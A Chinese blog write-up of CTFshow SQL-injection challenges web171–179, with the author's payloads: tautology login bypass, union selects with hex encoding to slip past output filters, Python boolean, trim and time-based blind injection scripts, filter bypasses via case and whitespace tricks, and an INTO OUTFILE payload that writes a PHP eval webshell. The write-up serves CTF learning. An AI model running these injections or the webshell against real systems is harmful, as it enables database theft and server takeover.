CTFshow sql注入 上篇(web171-220)

ctfshow web入门 SQl注入web171--web179 就能一次性查出25和26的,如果25存在就直接输出flag了,不然的话26存在也行。反正这种盲注问题用脚本就行了学的话看一下这篇文章。过滤了很简单的,当然是select啦,大小写绕过。还用用脚本注入的,但是我还没有成功过所以就…时间盲注,参考下面的文章,还是脚本做。,9999不存在时会查询id=3。我不知道怎么整的,看出是布尔盲注。进行猜测表格的id只有24个。没反应没事我们直接访问试试。是网站文件默认存放位置。本地测试,查询id为。还是base64解码。 阅读详情


前言

师傅们加油!!!


题目

web 171(万能密码)

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

id存在注入,可以直接用万能密码' or 1=1 %23,这时候#会把后面过滤了, where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

web 172(回显内容过滤,base64或者hex编码绕过)

(猫猫挺好玩的)

发现对username的回显内容进行检测

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

可以用base64编码或者hex编码绕过,to_base64(),hex()

'  union select hex(username),password from ctfshow_user2 where username='flag

web 173(回显内容过滤,base64或者hex编码绕过)

对比上题,对所有回显内容都做了检测

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3

'  union select 1,hex(username),password from ctfshow_user3 where username='flag

突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag

'  union select 1,1,password from ctfshow_user3 where username='flag

web 174 (布尔盲注丶trim盲注丶replace替换字符)

过滤更严格了,数字也会被检测到

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了

想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits

flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。

布尔盲注

import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""

for i in range(1,46):
    for j in uuid:	    
        payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
        res = requests.get(url+payload)
        print(j)
        if "admin" in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

trim盲注

# @Author:Kradress
import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"

for i in range(1,46):
    for j in uuid:	    
        payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
        res = requests.get(url+payload)
        print(j)
        if "admin" not in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

看了下群主的思路,可以用replace函数去把数字替换成其他字符

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"

web 175(时间盲注 二分法和Mysql写webshell)

本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法

import requests

url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"

result = ''

for i in range(1,40):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        payload = "and if(ascii(substr((select  password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

还有种办法是MySQL写webshell,可以用outfiledumpfile来写shell

联合查询

?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23

web 176(大小写绕过)

用order by,得知表有3列,发现select被过滤,但可以用大小写绕过

1' union sElect 1,2, group_concat(password) from `ctfshow_user`-- 

web 177(过滤空格)

可以用这些代替空格

%09
%0a
%0d  
%0c
/**/  
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23

web178 (过滤空格)

上题的也可以解出来,换个方式

1'or'1'='1'%23

web179 (过滤空格)

%0c没被过滤

1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%
CTFshowweb171~180---SQL注入(1) ctfshowSQL注入的wp 阅读详情

相关推荐

ctfshow-web入门-sql注入-web172

此题为 【从0开始学web】系列第一百七十二题 此系列题目从最基础开始,题目遵循循序渐进的原则 撸猫为主,要什么flag?

HkD01L的博客 562

CTFSHOW web入门——web174

得到了Y@CRmc@Bhvd@CtmZTAyOGNjMy@AiNDgzLTQ@ENWQtOTc@AOS@JxMDcyMmUzZjVjMDF@I。string_replacement:想要替换成的子字符串。查看函数,返回值把0-9的数字和flag给过滤了。string_expression:字符串表达式。string_pattern:想要查找的子字符串。可以先用base64进行加密。脚本替换回原来的flag。

m0_74093152的博客 596

ctfshow-WEB入门-Part2-wp

ctfshow-WEB入门-Part2-wp

F1rstb100d 707

ctfshow web入门174

过滤数字字符,使用脚本替换后再复原

m0_53095017的博客 913

[CTFSHOW]SQL注入(WEB入门)

文章目录前言新手区web171web172web173web174 前言 看大家好像挺需要的所以在这里记录一下自己的脚本和payload,不做思路讲解,除非题目比较骚 新手区 可以看看我以前记录的小笔记 SQL注入之MySQL注入的学习笔记() SQL注入之MySQL注入学习笔记() web171 比较常规的题目不做讲解了,这里给出payload # 查数据库 payload = "-1'union select 1,2,group_concat(table_name) from information

Y4tacker的博客 2万+

ctfshow sql注入 web171-web253 wp

存货,别说我卷了

mumuzi的博客 8992

CTFSHOW -SQL 注入

重新来做一遍 争取不看wp。

m0_64180167的博客 1657

ctfshow持续更新中】web入门-sql注入

ctfshow-web入门-sql注入

qq_55830703的博客 1315

ctfshow web入门-sql注入

ctfshow web入门-sql注入web171web172web173web174web175web176web177web178web179web180web181web182web183web184web185web186web187web188web189web190web191web192web193web194web195web195web197web198web199web200web201web202web203 web171 根据题目给出的查询语句构造 Payload $sql

LYJ20010728的博客 4018

ctfshow web入门刷题记录(更新中)

源码泄露判断方法参考 https://blog.csdn.net/2301_81105268/article/details/138194467.git 源码泄露,这题不能用scrabble,要用dirsearch扫 ctfhub上可以用scrabble(kali中运行) web11 域名解析隐藏信息 http://www.jsons.cn/nslookup/editor文件编辑器 小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录 根据提示,泄露重要(editor)的信息 直接在u

2403_89803833的博客 1508

ctfshow-web入门-sql注入web171-web175)

这里只出了一个 id,因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。判断一下这次又是三个字段数了,因为还是对输出过滤了 flag,所有我们还是不查用户名,用占位符占位即可。接下来我们先判断下它数据库名的长度,这个其实可以通过 burpsuite 的攻击模块爆破的,没关系,我们这里手写一遍,也锻炼下我们 python 的能力。

Welcome To My6n Blog 3844

ctfshow-web入门-sql

ctfshow-web入门-sql

qq_43618536的博客 1175

CTFshow——web174-180(sql注入

这是用正则匹配检查是否有flag先闭合order by爆列数爆数据库名 和 表名有三个表名 一个一个试一下虽然过滤了flag 但是没事 把他的password全显示出来就行。

m0_73756016的博客 1440

CTFSHOW web入门——web172

知道了数据库名字是ctfshow_web,有ctfshow_user和ctfshow_user2两张表。1’ order by 2--+的时候没有报错,而3的时候报错,说明该表有两列。有三个列id,username,password。首先判断有无注入点,页面有变化,因此存在注入点。接着查询ctfshow_user2中的列。查询password中的数据。

m0_74093152的博客 526

CTFshow学习笔记---sql盲注:web-174

sql盲注

wecanning的博客 2005

CTFSHOW web入门——web171

查询用户名为flag的信息 1' union select id,username,password from ctfshow_user where username='flag' --+然后查询库名 1' union select 1,2,database() --+首先查询有多少列,1' order by 3--+查看ctfshow_web库的表。

m0_74093152的博客 601

Web安全--万能密码大全+图片马合成方法

万能密码大全:asp、aspx、php、jsp万能密码大全。

余十步的博客 1924

web安全】万能密码总结

万能密码的使用

2302_79590880的博客 1298
上一篇: CTFshow 文件上传 web170
下一篇: CTFshow sql注入 上篇(web221-253)
Kradress
博客等级 码龄7年 121粉丝 211原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值